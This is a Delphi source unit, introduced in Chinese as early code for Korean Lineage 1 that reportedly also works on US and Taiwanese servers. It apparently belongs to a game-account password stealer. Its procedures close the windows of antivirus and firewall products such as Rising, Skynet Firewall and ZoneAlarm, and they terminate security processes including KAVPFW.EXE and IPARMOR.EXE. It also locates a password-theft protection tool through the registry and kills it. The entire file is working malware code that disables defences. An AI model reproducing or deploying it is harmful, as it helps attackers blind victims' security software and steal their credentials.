other.pas

这个是早时候,韩国天堂1的代码,据说美服和台湾的也能用

unit Other;

interface

uses
  Windows, tlhelp32,reg,sysutils2;

procedure Killer;
procedure Killpro(s: string);

implementation

procedure KillZhuanJia;
var
  found: boolean;
  s,path:string;
  i:integer;
  h,FindHandle: THandle;
  FindData: TWin32FindData;
begin
  path:=ReadValue(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\密码防盗专家 综合版','UninstallString');
  if path='' then exit;
  i:=pos(' ',path);
  if i<>0 then delete(path,i,MaxInt);
  path:=extractfilepath(Path);
  FindHandle := FindFirstFile(PChar(path + '*.exe'), FindData);
  s:='';
  Found := FindHandle <> INVALID_HANDLE_VALUE;
  while Found do begin //如果找到stg文件
{    if (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0)or
    (Ansicomparetext(FindData.cFileName,'UNWISE.EXE')=0)or
    (Ansicomparetext(FindData.cFileName,'autoupdate.exe')=0)or
    (Ansicomparetext(FindData.cFileName,'magic.exe')=0)then }
    if ((FindData.cFileName[0]>='0')and(FindData.cFileName[0]<='9'))or
       (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0) then
    begin
      h:=Integer(CreateFile(PChar(path+FindData.cFileName), GENERIC_WRITE,
        0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0));
      if h= INVALID_HANDLE_VALUE then
      begin
        s:=uppercase(FindData.cFileName);
        //Messagebox(0,pchar(s),'',0);
        KillPro(s);
        if (Ansicomparetext(FindData.cFileName,'PasswordGuard.exe')=0) then
          KillPro(uppercase('PasswordGuard.e'));
      end
      else CloseHandle(h);
    end;
    Found := FindNextFile(FindHandle, FindData);
  end;
  Windows.FindClose(FindHandle);
end;

procedure Killer;
var
  s, Desktop: integer;
  str: array[0..100] of char;
begin
  s := findwindow(pchar('RavMonClass'), pchar('RavMon.exe'));
  Sendmessage(s, $0010, 0, 0);
  s := findwindow('Tapplication', '天网防火墙个人版');
  Sendmessage(s, $0010, 0, 0);
  s := findwindow('Tapplication', '天网防火墙企业版');
  Sendmessage(s, $0010, 0, 0);
{  s := 0;
  Desktop := GetDesktopWindow;
  repeat
    s := findwindowex(Desktop, s, 'TForm1', nil);
    getwindowtext(s, str, 9);
    if str = '木马克星' then //IPARMOR.EXE
      sendmessage(s, $0010, 0, 0);
  until s = 0; }
  s := 0;
  Desktop := GetDesktopWindow;
  repeat
    s := findwindowex(Desktop, s, 'TForm1', nil);
    getwindowtext(s, str, 7);
    if str = '噬菌体' then
      sendmessage(s, $0010, 0, 0);
  until s = 0;
  s := findwindow(pchar('TfLockDownMain'), nil);
  Sendmessage(s, $0010, 0, 0);
  s := findwindow(pchar('ZAFrameWnd'), pchar('ZoneAlarm'));
  Sendmessage(s, $0010, 0, 0);

  Killpro('EGHOST.EXE');
  Killpro('MAILMON.EXE');
  Killpro('KAVPFW.EXE');
//  Killpro('KVXP.KXP');
//  Killpro('KVMonXP.KXP');  
  Killpro('IPARMOR.EXE');
  KillZhuanJia;
end;

procedure Killpro(s: string);
var
  lppe: tprocessentry32;
  sshandle: thandle;
  hh: hwnd;
  found: boolean;
begin
  sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
  found := process32first(sshandle, lppe);
  while found do
  begin
    if (ansicomparetext(extractfilename(lppe.szExeFile) , s)=0) or
      (ansicomparetext(lppe.szExeFile, s)=0) then
    begin
      hh := OpenProcess(PROCESS_ALL_ACCESS, true, lppe.th32ProcessID);
      TerminateProcess(hh, 0);
    end;
    found := process32next(sshandle, lppe);
  end;
  CloseHandle(sshandle);
end;

end.